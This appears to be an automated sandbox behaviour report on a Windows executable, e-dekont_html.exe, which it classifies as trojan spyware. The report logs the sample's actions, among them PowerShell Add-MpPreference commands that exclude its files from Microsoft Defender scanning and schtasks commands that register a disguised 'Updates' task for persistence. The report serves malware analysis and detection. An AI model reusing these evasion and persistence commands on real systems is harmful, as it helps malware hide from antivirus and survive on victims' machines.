Source: 0.2.e-dekont_html.exe.3d1e770.2.raw.unpack, VIPSeassion.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, HeTSatuh0uWI5PMcPt.cs	Security API names: _0020.SetAccessControl
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, HeTSatuh0uWI5PMcPt.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, HeTSatuh0uWI5PMcPt.cs	Security API names: _0020.AddAccessRule
Source: 0.2.e-dekont_html.exe.7740000.5.raw.unpack, gAT7eoJMygn6gjWsIx.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, HeTSatuh0uWI5PMcPt.cs	Security API names: _0020.SetAccessControl
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, HeTSatuh0uWI5PMcPt.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, HeTSatuh0uWI5PMcPt.cs	Security API names: _0020.AddAccessRule
Source: 0.2.e-dekont_html.exe.3f03770.1.raw.unpack, gAT7eoJMygn6gjWsIx.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@19/15@4/4

Source: C:\Users\user\Desktop\e-dekont_html.exe

File created: C:\Users\user\AppData\Roaming\fahKSvwo.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Mutant created: \Sessions\1\BaseNamedObjects\LhOILbfZuhSGjtSJxZaY
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6976:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6740:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1892:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7640:120:WilError_03

Source: C:\Users\user\Desktop\e-dekont_html.exe

File created: C:\Users\user\AppData\Local\Temp\tmp7653.tmp

Jump to behavior

Source: e-dekont_html.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: e-dekont_html.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\e-dekont_html.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\e-dekont_html.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: e-dekont_html.exe	ReversingLabs: Detection: 63%
Source: e-dekont_html.exe	Virustotal: Detection: 67%

Source: C:\Users\user\Desktop\e-dekont_html.exe

File read: C:\Users\user\Desktop\e-dekont_html.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\e-dekont_html.exe "C:\Users\user\Desktop\e-dekont_html.exe"
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\e-dekont_html.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\fahKSvwo.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fahKSvwo" /XML "C:\Users\user\AppData\Local\Temp\tmp7653.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process created: C:\Users\user\Desktop\e-dekont_html.exe "C:\Users\user\Desktop\e-dekont_html.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\fahKSvwo.exe C:\Users\user\AppData\Roaming\fahKSvwo.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fahKSvwo" /XML "C:\Users\user\AppData\Local\Temp\tmp8A49.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process created: C:\Users\user\AppData\Roaming\fahKSvwo.exe "C:\Users\user\AppData\Roaming\fahKSvwo.exe"
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\e-dekont_html.exe"	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\fahKSvwo.exe"	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fahKSvwo" /XML "C:\Users\user\AppData\Local\Temp\tmp7653.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Process created: C:\Users\user\Desktop\e-dekont_html.exe "C:\Users\user\Desktop\e-dekont_html.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\fahKSvwo" /XML "C:\Users\user\AppData\Local\Temp\tmp8A49.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Process created: C:\Users\user\AppData\Roaming\fahKSvwo.exe "C:\Users\user\AppData\Roaming\fahKSvwo.exe"	Jump to behavior

Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\e-dekont_html.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Section loaded: wldp.dll
